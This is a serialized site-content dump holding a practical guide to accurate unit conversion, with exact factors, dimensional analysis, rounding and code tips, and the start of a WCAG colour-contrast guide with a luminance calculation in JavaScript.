.s4XuR{--shiki-default:#E36209;--shiki-dark:#FFAB70}",{"title":141,"searchDepth":337,"depth":337,"links":302508},[302509,302510,302513,302516,302521,302522,302527,302531,302532],{"id":300066,"depth":337,"text":300067},{"id":300215,"depth":337,"text":300216,"children":302511},[302512],{"id":300339,"depth":343,"text":300340},{"id":300381,"depth":337,"text":300382,"children":302514},[302515],{"id":300574,"depth":343,"text":300575},{"id":300691,"depth":337,"text":300692,"children":302517},[302518,302519,302520],{"id":300698,"depth":343,"text":300699},{"id":300715,"depth":343,"text":300716},{"id":301268,"depth":343,"text":301269},{"id":301328,"depth":337,"text":301329},{"id":301825,"depth":337,"text":301826,"children":302523},[302524,302525,302526],{"id":301832,"depth":343,"text":301833},{"id":301969,"depth":343,"text":301970},{"id":302084,"depth":343,"text":302085},{"id":65160,"depth":337,"text":65161,"children":302528},[302529,302530],{"id":302238,"depth":343,"text":302239},{"id":302358,"depth":343,"text":302359},{"id":302446,"depth":337,"text":302447},{"id":257799,"depth":337,"text":257800},"Master Tailwind CSS color configuration. Learn to customize default palettes, extend with custom colors, create 50-950 scales, and integrate with CSS variables.",{"immutable":363},"\u002Fguides\u002Ftailwind-color-palette",{"title":300061,"description":302533},"guides\u002Ftailwind-color-palette","YLRygDCcC7oI1gkvdQlIPaND5EIcgeTIopmMokxw6x4",{"id":302540,"title":285898,"body":302541,"date":257855,"description":303419,"extension":361,"meta":303420,"navigation":363,"path":285897,"readingTime":1717,"seo":303421,"stem":303422,"__hash__":303423},"guides\u002Fguides\u002Funit-conversion-tips.md",{"type":8,"value":302542,"toc":303396},[302543,302547,302550,302554,302558,302561,302566,302572,302577,302583,302586,302590,302593,302660,302663,302667,302670,302675,302681,302684,302687,302691,302694,302698,302704,302706,302739,302743,302747,302846,302850,302865,302869,302872,302966,302970,302974,302977,303128,303132,303190,303194,303197,303263,303267,303353,303357,303364,303372,303375,303377,303393],[11,302544,302546],{"id":302545},"why-conversion-errors-matter","Why Conversion Errors Matter",[16,302548,302549],{},"A unit conversion mistake collapsed the Mars Climate Orbiter in 1999 — Lockheed Martin used imperial units while NASA expected metric. The $125 million probe burned up in the Martian atmosphere. Smaller errors may not make headlines, but they waste time, money, and trust.",[16,302551,18550,302552,285157],{},[98,302553,664],{"href":663},[11,302555,302557],{"id":302556},"the-golden-rule-convert-in-one-step","The Golden Rule: Convert in One Step",[16,302559,302560],{},"The biggest source of error is chain conversion. Each intermediate step introduces rounding error.",[16,302562,302563],{},[47,302564,302565],{},"Bad — three steps:",[135,302567,302570],{"className":302568,"code":302569,"language":140},[138],"km → m → ft → in\n100 km → 100,000 m → 328,084 ft → 3,937,008 in\n",[143,302571,302569],{"__ignoreMap":141},[16,302573,302574],{},[47,302575,302576],{},"Good — one step:",[135,302578,302581],{"className":302579,"code":302580,"language":140},[138],"km → in\n100 km × 39,370.0787 = 3,937,008 in\n",[143,302582,302580],{"__ignoreMap":141},[16,302584,302585],{},"The result is the same here, but with repeating decimals and rounding at each step, errors compound quickly.",[11,302587,302589],{"id":302588},"use-exact-conversion-factors","Use Exact Conversion Factors",[16,302591,302592],{},"Some conversions are exact by definition. Prefer these over approximate values.",[193,302594,302595,302607],{},[196,302596,302597],{},[199,302598,302599,302601,302604],{},[202,302600,81482],{},[202,302602,302603],{},"Exact Factor",[202,302605,302606],{},"Approximate (avoid)",[211,302608,302609,302619,302629,302639,302650],{},[199,302610,302611,302614,302617],{},[216,302612,302613],{},"inch → cm",[216,302615,302616],{},"2.54",[216,302618,111888],{},[199,302620,302621,302624,302627],{},[216,302622,302623],{},"foot → m",[216,302625,302626],{},"0.3048",[216,302628,18724],{},[199,302630,302631,302634,302637],{},[216,302632,302633],{},"pound → kg",[216,302635,302636],{},"0.45359237",[216,302638,159851],{},[199,302640,302641,302644,302647],{},[216,302642,302643],{},"gallon (US) → L",[216,302645,302646],{},"3.785411784",[216,302648,302649],{},"3.8",[199,302651,302652,302655,302658],{},[216,302653,302654],{},"fluid oz (US) → mL",[216,302656,302657],{},"29.5735295625",[216,302659,23995],{},[16,302661,302662],{},"When precision matters — in engineering, medicine, or finance — always use the exact factor.",[11,302664,302666],{"id":302665},"dimensional-analysis","Dimensional Analysis",[16,302668,302669],{},"The most reliable conversion technique is dimensional analysis (also called the factor-label method). Write out the units and cancel them like fractions.",[16,302671,302672],{},[47,302673,302674],{},"Example: Convert 60 mph to m\u002Fs",[135,302676,302679],{"className":302677,"code":302678,"language":140},[138],"60 miles     1 hour     1 minute     1609.34 m\n--------- × --------- × ---------- × ---------- = 26.82 m\u002Fs\n   hour      60 min     60 seconds    1 mile\n",[143,302680,302678],{"__ignoreMap":141},[16,302682,302683],{},"Each fraction equals 1. The unwanted units cancel. You are left with m\u002Fs.",[16,302685,302686],{},"This method catches mistakes: if your units don't cancel to the desired result, you flipped a factor somewhere.",[11,302688,302690],{"id":302689},"temperature-is-different","Temperature Is Different",[16,302692,302693],{},"Length, weight, and volume conversions are proportional — you multiply by a factor. Temperature has an offset, which makes it prone to a specific error.",[33,302695,302697],{"id":302696},"the-formula","The Formula",[135,302699,302702],{"className":302700,"code":302701,"language":140},[138],"°F = °C × (9\u002F5) + 32\n°C = (°F - 32) × (5\u002F9)\n",[143,302703,302701],{"__ignoreMap":141},[33,302705,2341],{"id":2340},[77,302707,302708,302717,302726],{},[44,302709,302710,6841,302713,302716],{},[47,302711,302712],{},"Forgetting the +32.",[143,302714,302715],{},"20°C × 1.8 = 36"," — but the correct answer is 68°F, not 36°F.",[44,302718,302719,302722,302723,468],{},[47,302720,302721],{},"Double-converting."," If you convert Celsius → Fahrenheit → Kelvin, you accumulate error. Convert directly: ",[143,302724,302725],{},"K = °C + 273.15",[44,302727,302728,302731,302732,302735,302736,302738],{},[47,302729,302730],{},"Confusing Δ°C and Δ°F."," A temperature ",[7310,302733,302734],{},"change"," of 1°C equals a change of 1.8°F (no offset). A temperature ",[7310,302737,216608],{}," of 1°C equals 33.8°F (with offset).",[11,302740,302742],{"id":302741},"handling-precision-and-rounding","Handling Precision and Rounding",[33,302744,302746],{"id":302745},"dont-round-intermediate-values","Don't Round Intermediate Values",[135,302748,302750],{"className":17509,"code":302749,"language":17511,"meta":141,"style":141},"\u002F\u002F Bad — rounds at each step\nconst miles = km * 0.6214      \u002F\u002F 0.6214 is already rounded\nconst feet = miles * 5280      \u002F\u002F error compounds\n\n\u002F\u002F Good — full precision, round only at display\nconst feet = km * 3280.84      \u002F\u002F direct conversion factor\nconst display = feet.toFixed(2) \u002F\u002F round only for output\n",[143,302751,302752,302757,302776,302796,302800,302805,302823],{"__ignoreMap":141},[1560,302753,302754],{"class":1562,"line":1563},[1560,302755,302756],{"class":1649},"\u002F\u002F Bad — rounds at each step\n",[1560,302758,302759,302761,302764,302766,302769,302771,302773],{"class":1562,"line":337},[1560,302760,8180],{"class":1669},[1560,302762,302763],{"class":1576}," miles",[1560,302765,8186],{"class":1669},[1560,302767,302768],{"class":1570}," km ",[1560,302770,8069],{"class":1669},[1560,302772,285809],{"class":1576},[1560,302774,302775],{"class":1649},"      \u002F\u002F 0.6214 is already rounded\n",[1560,302777,302778,302780,302783,302785,302788,302790,302793],{"class":1562,"line":343},[1560,302779,8180],{"class":1669},[1560,302781,302782],{"class":1576}," feet",[1560,302784,8186],{"class":1669},[1560,302786,302787],{"class":1570}," miles ",[1560,302789,8069],{"class":1669},[1560,302791,302792],{"class":1576}," 5280",[1560,302794,302795],{"class":1649},"      \u002F\u002F error compounds\n",[1560,302797,302798],{"class":1562,"line":365},[1560,302799,1702],{"emptyLinePlaceholder":363},[1560,302801,302802],{"class":1562,"line":889},[1560,302803,302804],{"class":1649},"\u002F\u002F Good — full precision, round only at display\n",[1560,302806,302807,302809,302811,302813,302815,302817,302820],{"class":1562,"line":1710},[1560,302808,8180],{"class":1669},[1560,302810,302782],{"class":1576},[1560,302812,8186],{"class":1669},[1560,302814,302768],{"class":1570},[1560,302816,8069],{"class":1669},[1560,302818,302819],{"class":1576}," 3280.84",[1560,302821,302822],{"class":1649},"      \u002F\u002F direct conversion factor\n",[1560,302824,302825,302827,302830,302832,302835,302837,302839,302841,302843],{"class":1562,"line":1717},[1560,302826,8180],{"class":1669},[1560,302828,302829],{"class":1576}," display",[1560,302831,8186],{"class":1669},[1560,302833,302834],{"class":1570}," feet.",[1560,302836,139890],{"class":1566},[1560,302838,1688],{"class":1570},[1560,302840,10099],{"class":1576},[1560,302842,1733],{"class":1570},[1560,302844,302845],{"class":1649},"\u002F\u002F round only for output\n",[33,302847,302849],{"id":302848},"know-your-significant-figures","Know Your Significant Figures",[41,302851,302852,302855,302862],{},[44,302853,302854],{},"Input precision determines output precision.",[44,302856,302857,302858,302861],{},"Converting 5 km to miles: ",[143,302859,302860],{},"5 × 0.6214 = 3.107"," → report as 3.1 (one significant figure matches the input).",[44,302863,302864],{},"Converting 5.000 km: report all four significant figures.",[33,302866,302868],{"id":302867},"use-decimal-libraries-for-money","Use Decimal Libraries for Money",[16,302870,302871],{},"Floating-point arithmetic causes errors in financial calculations. Use a decimal library:",[135,302873,302875],{"className":17509,"code":302874,"language":17511,"meta":141,"style":141},"import Decimal from 'decimal.js'\n\n\u002F\u002F Bad\nconst euro = 99.99 * 0.9188  \u002F\u002F 91.870812 — floating point issues\n\n\u002F\u002F Good\nconst euro = new Decimal('99.99').times('0.9188').toFixed(2) \u002F\u002F \"91.87\"\n",[143,302876,302877,302889,302893,302897,302917,302921,302925],{"__ignoreMap":141},[1560,302878,302879,302881,302884,302886],{"class":1562,"line":1563},[1560,302880,8162],{"class":1669},[1560,302882,302883],{"class":1570}," Decimal ",[1560,302885,8168],{"class":1669},[1560,302887,302888],{"class":5634}," 'decimal.js'\n",[1560,302890,302891],{"class":1562,"line":337},[1560,302892,1702],{"emptyLinePlaceholder":363},[1560,302894,302895],{"class":1562,"line":343},[1560,302896,201861],{"class":1649},[1560,302898,302899,302901,302904,302906,302909,302911,302914],{"class":1562,"line":365},[1560,302900,8180],{"class":1669},[1560,302902,302903],{"class":1576}," euro",[1560,302905,8186],{"class":1669},[1560,302907,302908],{"class":1576}," 99.99",[1560,302910,8064],{"class":1669},[1560,302912,302913],{"class":1576}," 0.9188",[1560,302915,302916],{"class":1649},"  \u002F\u002F 91.870812 — floating point issues\n",[1560,302918,302919],{"class":1562,"line":889},[1560,302920,1702],{"emptyLinePlaceholder":363},[1560,302922,302923],{"class":1562,"line":1710},[1560,302924,201889],{"class":1649},[1560,302926,302927,302929,302931,302933,302935,302938,302940,302943,302945,302948,302950,302953,302955,302957,302959,302961,302963],{"class":1562,"line":1717},[1560,302928,8180],{"class":1669},[1560,302930,302903],{"class":1576},[1560,302932,8186],{"class":1669},[1560,302934,11489],{"class":1669},[1560,302936,302937],{"class":1566}," Decimal",[1560,302939,1688],{"class":1570},[1560,302941,302942],{"class":5634},"'99.99'",[1560,302944,9368],{"class":1570},[1560,302946,302947],{"class":1566},"times",[1560,302949,1688],{"class":1570},[1560,302951,302952],{"class":5634},"'0.9188'",[1560,302954,9368],{"class":1570},[1560,302956,139890],{"class":1566},[1560,302958,1688],{"class":1570},[1560,302960,10099],{"class":1576},[1560,302962,1733],{"class":1570},[1560,302964,302965],{"class":1649},"\u002F\u002F \"91.87\"\n",[11,302967,302969],{"id":302968},"programming-tips","Programming Tips",[33,302971,302973],{"id":302972},"store-in-a-canonical-unit","Store in a Canonical Unit",[16,302975,302976],{},"Always store data in one unit system (preferably metric\u002FSI). Convert only at the display layer.",[135,302978,302980],{"className":17509,"code":302979,"language":17511,"meta":141,"style":141},"interface Distance {\n  value: number    \u002F\u002F always in meters\n  unit: 'm'\n}\n\nfunction display(d: Distance, locale: string): string {\n  if (locale === 'en-US') {\n    return `${(d.value * 3.28084).toFixed(1)} ft`\n  }\n  return `${d.value.toFixed(1)} m`\n}\n",[143,302981,302982,302991,303003,303013,303017,303021,303051,303063,303095,303099,303124],{"__ignoreMap":141},[1560,302983,302984,302986,302989],{"class":1562,"line":1563},[1560,302985,133994],{"class":1669},[1560,302987,302988],{"class":1566}," Distance",[1560,302990,1571],{"class":1570},[1560,302992,302993,302996,302998,303000],{"class":1562,"line":337},[1560,302994,302995],{"class":2219},"  value",[1560,302997,8037],{"class":1669},[1560,302999,134020],{"class":1576},[1560,303001,303002],{"class":1649},"    \u002F\u002F always in meters\n",[1560,303004,303005,303008,303010],{"class":1562,"line":343},[1560,303006,303007],{"class":2219},"  unit",[1560,303009,8037],{"class":1669},[1560,303011,303012],{"class":5634}," 'm'\n",[1560,303014,303015],{"class":1562,"line":365},[1560,303016,1585],{"class":1570},[1560,303018,303019],{"class":1562,"line":889},[1560,303020,1702],{"emptyLinePlaceholder":363},[1560,303022,303023,303025,303027,303029,303031,303033,303035,303037,303039,303041,303043,303045,303047,303049],{"class":1562,"line":1710},[1560,303024,8648],{"class":1669},[1560,303026,302829],{"class":1566},[1560,303028,1688],{"class":1570},[1560,303030,27742],{"class":2219},[1560,303032,8037],{"class":1669},[1560,303034,302988],{"class":1566},[1560,303036,1459],{"class":1570},[1560,303038,185580],{"class":2219},[1560,303040,8037],{"class":1669},[1560,303042,134008],{"class":1576},[1560,303044,1525],{"class":1570},[1560,303046,8037],{"class":1669},[1560,303048,134008],{"class":1576},[1560,303050,1571],{"class":1570},[1560,303052,303053,303055,303057,303059,303061],{"class":1562,"line":1717},[1560,303054,27984],{"class":1669},[1560,303056,285787],{"class":1570},[1560,303058,23122],{"class":1669},[1560,303060,285792],{"class":5634},[1560,303062,9345],{"class":1570},[1560,303064,303065,303067,303069,303071,303073,303075,303077,303079,303082,303084,303086,303088,303090,303092],{"class":1562,"line":1747},[1560,303066,9434],{"class":1669},[1560,303068,34367],{"class":5634},[1560,303070,1688],{"class":5634},[1560,303072,27742],{"class":1570},[1560,303074,468],{"class":5634},[1560,303076,39103],{"class":1570},[1560,303078,8064],{"class":1669},[1560,303080,303081],{"class":1576}," 3.28084",[1560,303083,9368],{"class":5634},[1560,303085,139890],{"class":1566},[1560,303087,1688],{"class":5634},[1560,303089,3585],{"class":1576},[1560,303091,1525],{"class":5634},[1560,303093,303094],{"class":5634},"} ft`\n",[1560,303096,303097],{"class":1562,"line":2507},[1560,303098,4959],{"class":1570},[1560,303100,303101,303103,303105,303107,303109,303111,303113,303115,303117,303119,303121],{"class":1562,"line":2524},[1560,303102,9350],{"class":1669},[1560,303104,34367],{"class":5634},[1560,303106,27742],{"class":1570},[1560,303108,468],{"class":5634},[1560,303110,39103],{"class":1570},[1560,303112,468],{"class":5634},[1560,303114,139890],{"class":1566},[1560,303116,1688],{"class":5634},[1560,303118,3585],{"class":1576},[1560,303120,1525],{"class":5634},[1560,303122,303123],{"class":5634},"} m`\n",[1560,303125,303126],{"class":1562,"line":2529},[1560,303127,1585],{"class":1570},[33,303129,303131],{"id":303130},"define-constants-not-magic-numbers","Define Constants, Not Magic Numbers",[135,303133,303135],{"className":17509,"code":303134,"language":17511,"meta":141,"style":141},"\u002F\u002F Bad\nconst result = value * 2.54\n\n\u002F\u002F Good\nconst INCHES_PER_CENTIMETER = 2.54\nconst result = value * INCHES_PER_CENTIMETER\n",[143,303136,303137,303141,303156,303160,303164,303175],{"__ignoreMap":141},[1560,303138,303139],{"class":1562,"line":1563},[1560,303140,201861],{"class":1649},[1560,303142,303143,303145,303147,303149,303151,303153],{"class":1562,"line":337},[1560,303144,8180],{"class":1669},[1560,303146,80830],{"class":1576},[1560,303148,8186],{"class":1669},[1560,303150,81703],{"class":1570},[1560,303152,8069],{"class":1669},[1560,303154,303155],{"class":1576}," 2.54\n",[1560,303157,303158],{"class":1562,"line":343},[1560,303159,1702],{"emptyLinePlaceholder":363},[1560,303161,303162],{"class":1562,"line":365},[1560,303163,201889],{"class":1649},[1560,303165,303166,303168,303171,303173],{"class":1562,"line":889},[1560,303167,8180],{"class":1669},[1560,303169,303170],{"class":1576}," INCHES_PER_CENTIMETER",[1560,303172,8186],{"class":1669},[1560,303174,303155],{"class":1576},[1560,303176,303177,303179,303181,303183,303185,303187],{"class":1562,"line":1710},[1560,303178,8180],{"class":1669},[1560,303180,80830],{"class":1576},[1560,303182,8186],{"class":1669},[1560,303184,81703],{"class":1570},[1560,303186,8069],{"class":1669},[1560,303188,303189],{"class":1576}," INCHES_PER_CENTIMETER\n",[33,303191,303193],{"id":303192},"beware-of-integer-overflow","Beware of Integer Overflow",[16,303195,303196],{},"Converting large values can overflow 32-bit integers:",[135,303198,303200],{"className":17509,"code":303199,"language":17511,"meta":141,"style":141},"\u002F\u002F 50,000 km in mm overflows 32-bit int\nconst mm = 50000 * 1_000_000  \u002F\u002F 50,000,000,000 — exceeds 2^31\n\n\u002F\u002F Use BigInt or keep in larger units\nconst mm = BigInt(50000) * 1_000_000n  \u002F\u002F safe\n",[143,303201,303202,303207,303227,303231,303236],{"__ignoreMap":141},[1560,303203,303204],{"class":1562,"line":1563},[1560,303205,303206],{"class":1649},"\u002F\u002F 50,000 km in mm overflows 32-bit int\n",[1560,303208,303209,303211,303214,303216,303219,303221,303224],{"class":1562,"line":337},[1560,303210,8180],{"class":1669},[1560,303212,303213],{"class":1576}," mm",[1560,303215,8186],{"class":1669},[1560,303217,303218],{"class":1576}," 50000",[1560,303220,8064],{"class":1669},[1560,303222,303223],{"class":1576}," 1_000_000",[1560,303225,303226],{"class":1649},"  \u002F\u002F 50,000,000,000 — exceeds 2^31\n",[1560,303228,303229],{"class":1562,"line":343},[1560,303230,1702],{"emptyLinePlaceholder":363},[1560,303232,303233],{"class":1562,"line":365},[1560,303234,303235],{"class":1649},"\u002F\u002F Use BigInt or keep in larger units\n",[1560,303237,303238,303240,303242,303244,303247,303249,303252,303254,303256,303258,303260],{"class":1562,"line":889},[1560,303239,8180],{"class":1669},[1560,303241,303213],{"class":1576},[1560,303243,8186],{"class":1669},[1560,303245,303246],{"class":1566}," BigInt",[1560,303248,1688],{"class":1570},[1560,303250,303251],{"class":1576},"50000",[1560,303253,1733],{"class":1570},[1560,303255,8069],{"class":1669},[1560,303257,303223],{"class":1576},[1560,303259,22610],{"class":1669},[1560,303261,303262],{"class":1649},"  \u002F\u002F safe\n",[11,303264,303266],{"id":303265},"common-conversion-mistakes","Common Conversion Mistakes",[193,303268,303269,303279],{},[196,303270,303271],{},[199,303272,303273,303275,303277],{},[202,303274,3684],{},[202,303276,133],{},[202,303278,3690],{},[211,303280,303281,303297,303308,303319,303336],{},[199,303282,303283,303286,303292],{},[216,303284,303285],{},"Wrong factor direction",[216,303287,303288,303291],{},[143,303289,303290],{},"kg × 2.205"," to get kg from lb",[216,303293,303294],{},[143,303295,303296],{},"lb × 0.4536 = kg",[199,303298,303299,303302,303305],{},[216,303300,303301],{},"Confusing mass vs weight",[216,303303,303304],{},"Treating \"pound-force\" as \"pound-mass\"",[216,303306,303307],{},"Know your context (physics vs daily use)",[199,303309,303310,303313,303316],{},[216,303311,303312],{},"Mixing US and UK volumes",[216,303314,303315],{},"Using US gallon for a UK recipe",[216,303317,303318],{},"Check the source country",[199,303320,303321,303324,303330],{},[216,303322,303323],{},"Area confusion",[216,303325,303326,303329],{},[143,303327,303328],{},"1 m² ≠ 3.28 ft²"," (it's 10.76 ft²)",[216,303331,303332,303333],{},"Square the linear factor: ",[143,303334,303335],{},"(3.28084)² = 10.7639",[199,303337,303338,303341,303347],{},[216,303339,303340],{},"Cubic confusion",[216,303342,303343,303346],{},[143,303344,303345],{},"1 m³ ≠ 35.31 ft³"," (it IS 35.31 ft³)",[216,303348,303349,303350],{},"Cube the linear factor: ",[143,303351,303352],{},"(3.28084)³ = 35.3147",[11,303354,303356],{"id":303355},"quick-reference-squared-and-cubed-units","Quick Reference: Squared and Cubed Units",[16,303358,303359,303360,303363],{},"When converting area (²) or volume (³), you must ",[47,303361,303362],{},"square or cube"," the linear conversion factor.",[41,303365,303366,303369],{},[44,303367,303368],{},"1 m = 3.28084 ft → 1 m² = (3.28084)² ft² = 10.7639 ft²",[44,303370,303371],{},"1 m = 3.28084 ft → 1 m³ = (3.28084)³ ft³ = 35.3147 ft³",[16,303373,303374],{},"Forgetting this is one of the most common — and most expensive — conversion errors.",[11,303376,285890],{"id":285889},[41,303378,303379,303384,303389],{},[44,303380,303381,303383],{},[98,303382,285143],{"href":151209}," — full comparison table",[44,303385,303386,303388],{},[98,303387,285904],{"href":285903}," — printable reference",[44,303390,303391,285911],{},[98,303392,285910],{"href":663},[2043,303394,303395],{},"html pre.shiki code .sJ8bj, html code.shiki .sJ8bj{--shiki-default:#6A737D;--shiki-dark:#6A737D}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html pre.shiki code .s4XuR, html code.shiki .s4XuR{--shiki-default:#E36209;--shiki-dark:#FFAB70}",{"title":141,"searchDepth":337,"depth":337,"links":303397},[303398,303399,303400,303401,303402,303406,303411,303416,303417,303418],{"id":302545,"depth":337,"text":302546},{"id":302556,"depth":337,"text":302557},{"id":302588,"depth":337,"text":302589},{"id":302665,"depth":337,"text":302666},{"id":302689,"depth":337,"text":302690,"children":303403},[303404,303405],{"id":302696,"depth":343,"text":302697},{"id":2340,"depth":343,"text":2341},{"id":302741,"depth":337,"text":302742,"children":303407},[303408,303409,303410],{"id":302745,"depth":343,"text":302746},{"id":302848,"depth":343,"text":302849},{"id":302867,"depth":343,"text":302868},{"id":302968,"depth":337,"text":302969,"children":303412},[303413,303414,303415],{"id":302972,"depth":343,"text":302973},{"id":303130,"depth":343,"text":303131},{"id":303192,"depth":343,"text":303193},{"id":303265,"depth":337,"text":303266},{"id":303355,"depth":337,"text":303356},{"id":285889,"depth":337,"text":285890},"Practical tips for accurate unit conversion. Avoid common errors, maintain precision, and convert confidently in code and daily life.",{"immutable":363},{"title":285898,"description":303419},"guides\u002Funit-conversion-tips","9tCjg9ZgOVSZjwbNYuXJxrkqgW82CnunPfGiJhEGfh4",{"id":303425,"title":303426,"body":303427,"date":257855,"description":305441,"extension":361,"meta":305442,"navigation":363,"path":4512,"readingTime":2524,"seo":305443,"stem":305444,"__hash__":305445},"guides\u002Fguides\u002Fwcag-contrast-practical.md","WCAG Color Contrast: Practical Guide with Real Examples",{"type":8,"value":303428,"toc":305410},[303429,303433,303436,303440,303445,303464,303469,303481,303485,303492,303498,303501,303576,303580,303584,303587,303616,303619,303623,303626,303644,303648,303651,304089,304093,304097,304102,304143,304148,304189,304193,304197,304231,304235,304312,304316,304321,304364,304367,304408,304412,304526,304530,304534,304575,304579,304679,304683,304686,304690,304755,304758,304762,304872,304876,304948,304952,304954,305005,305009,305012,305036,305153,305157,305160,305164,305278,305282,305392,305394,305407],[11,303430,303432],{"id":303431},"understanding-wcag-contrast-requirements","Understanding WCAG Contrast Requirements",[16,303434,303435],{},"Web Content Accessibility Guidelines (WCAG) define specific contrast ratio requirements to ensure text remains readable for users with visual impairments. These aren't arbitrary numbers—they're based on extensive research about what contrast levels people with different visual abilities can comfortably read.",[33,303437,303439],{"id":303438},"the-official-standards","The Official Standards",[16,303441,303442],{},[47,303443,303444],{},"WCAG 2.1 AA (Minimum Compliance)",[41,303446,303447,303453,303458],{},[44,303448,303449,303450,303452],{},"Normal text (below 18pt or 14pt bold): ",[47,303451,3310],{}," minimum contrast ratio",[44,303454,303455,303456,303452],{},"Large text (18pt+ or 14pt+ bold): ",[47,303457,3313],{},[44,303459,303460,303461,303463],{},"UI components and graphical objects: ",[47,303462,3313],{}," against adjacent colors",[16,303465,303466],{},[47,303467,303468],{},"WCAG 2.1 AAA (Enhanced Compliance)",[41,303470,303471,303476],{},[44,303472,303473,303474,303452],{},"Normal text: ",[47,303475,3323],{},[44,303477,303478,303479,303452],{},"Large text: ",[47,303480,3310],{},[33,303482,303484],{"id":303483},"what-do-these-numbers-mean","What Do These Numbers Mean?",[16,303486,303487,303488,303491],{},"A contrast ratio of ",[143,303489,303490],{},"X:1"," compares the relative luminance of two colors:",[135,303493,303496],{"className":303494,"code":303495,"language":140},[138],"Contrast Ratio = (L1 + 0.05) \u002F (L2 + 0.05)\n",[143,303497,303495],{"__ignoreMap":141},[16,303499,303500],{},"Where L1 is the lighter color's luminance and L2 is the darker color's luminance (both ranging from 0 to 1).",[193,303502,303503,303514],{},[196,303504,303505],{},[199,303506,303507,303509,303512],{},[202,303508,197683],{},[202,303510,303511],{},"What It Looks Like",[202,303513,1775],{},[211,303515,303516,303526,303536,303546,303556,303566],{},[199,303517,303518,303520,303523],{},[216,303519,3986],{},[216,303521,303522],{},"Same color (invisible)",[216,303524,303525],{},"❌ Never use for text",[199,303527,303528,303530,303533],{},[216,303529,171948],{},[216,303531,303532],{},"Barely distinguishable",[216,303534,303535],{},"❌ Fails for all text",[199,303537,303538,303540,303543],{},[216,303539,3313],{},[216,303541,303542],{},"Noticeable difference",[216,303544,303545],{},"✅ Large text only (AA)",[199,303547,303548,303550,303553],{},[216,303549,3310],{},[216,303551,303552],{},"Clear difference",[216,303554,303555],{},"✅ Normal text (AA)",[199,303557,303558,303560,303563],{},[216,303559,3323],{},[216,303561,303562],{},"Strong difference",[216,303564,303565],{},"✅ Normal text (AAA)",[199,303567,303568,303570,303573],{},[216,303569,4007],{},[216,303571,303572],{},"Black on white",[216,303574,303575],{},"✅ Maximum contrast",[11,303577,303579],{"id":303578},"how-to-calculate-contrast-ratios","How to Calculate Contrast Ratios",[33,303581,303583],{"id":303582},"method-1-online-tools-recommended","Method 1: Online Tools (Recommended)",[16,303585,303586],{},"The easiest approach is using dedicated tools:",[41,303588,303589,303598,303607],{},[44,303590,303591,1663,303594],{},[47,303592,303593],{},"WebAIM Contrast Checker",[98,303595,303596],{"href":303596,"rel":303597},"https:\u002F\u002Fwebaim.org\u002Fresources\u002Fcontrastchecker\u002F",[14956],[44,303599,303600,1663,303603],{},[47,303601,303602],{},"Coolors Contrast Checker",[98,303604,303605],{"href":303605,"rel":303606},"https:\u002F\u002Fcoolors.co\u002Fcontrast-checker",[14956],[44,303608,303609,1663,303612],{},[47,303610,303611],{},"Adobe Color Contrast Checker",[98,303613,303614],{"href":303614,"rel":303615},"https:\u002F\u002Fcolor.adobe.com\u002Fcreate\u002Fcolor-contrast-analyzer",[14956],[16,303617,303618],{},"Simply input your foreground and background colors, and these tools instantly tell you the contrast ratio and WCAG compliance level.",[33,303620,303622],{"id":303621},"method-2-browser-devtools","Method 2: Browser DevTools",[16,303624,303625],{},"Modern browsers include contrast checking in their DevTools:",[77,303627,303628,303631,303634,303641],{},[44,303629,303630],{},"Open DevTools (F12)",[44,303632,303633],{},"Select an element with text",[44,303635,303636,303637,303640],{},"Look for the ",[47,303638,303639],{},"contrast ratio"," indicator in the Styles panel",[44,303642,303643],{},"Click it for detailed WCAG compliance information",[33,303645,303647],{"id":303646},"method-3-programmatic-calculation","Method 3: Programmatic Calculation",[16,303649,303650],{},"For custom tools or build-time checking, here's the algorithm:",[135,303652,303654],{"className":1607,"code":303653,"language":1609,"meta":141,"style":141},"function hexToRgb(hex) {\n  const result = \u002F^#?([a-f\\d]{2})([a-f\\d]{2})([a-f\\d]{2})$\u002Fi.exec(hex)\n  return result ? {\n    r: parseInt(result[1], 16),\n    g: parseInt(result[2], 16),\n    b: parseInt(result[3], 16)\n  } : null\n}\n\nfunction relativeLuminance(r, g, b) {\n  const [rs, gs, bs] = [r, g, b].map(c => {\n    c = c \u002F 255\n    return c \u003C= 0.03928 ? c \u002F 12.92 : Math.pow((c + 0.055) \u002F 1.055, 2.4)\n  })\n  return 0.2126 * rs + 0.7152 * gs + 0.0722 * bs\n}\n\nfunction contrastRatio(color1, color2) {\n  const rgb1 = hexToRgb(color1)\n  const rgb2 = hexToRgb(color2)\n  \n  const l1 = relativeLuminance(rgb1.r, rgb1.g, rgb1.b)\n  const l2 = relativeLuminance(rgb2.r, rgb2.g, rgb2.b)\n  \n  const lighter = Math.max(l1, l2)\n  const darker = Math.min(l1, l2)\n  \n  return (lighter + 0.05) \u002F (darker + 0.05)\n}\n",[143,303655,303656,303670,303720,303730,303748,303765,303782,303791,303795,303799,303819,303853,303865,303907,303911,303940,303944,303948,303966,303980,303994,303998,304012,304026,304030,304045,304059,304063,304085],{"__ignoreMap":141},[1560,303657,303658,303660,303663,303665,303668],{"class":1562,"line":1563},[1560,303659,8648],{"class":1669},[1560,303661,303662],{"class":1566}," 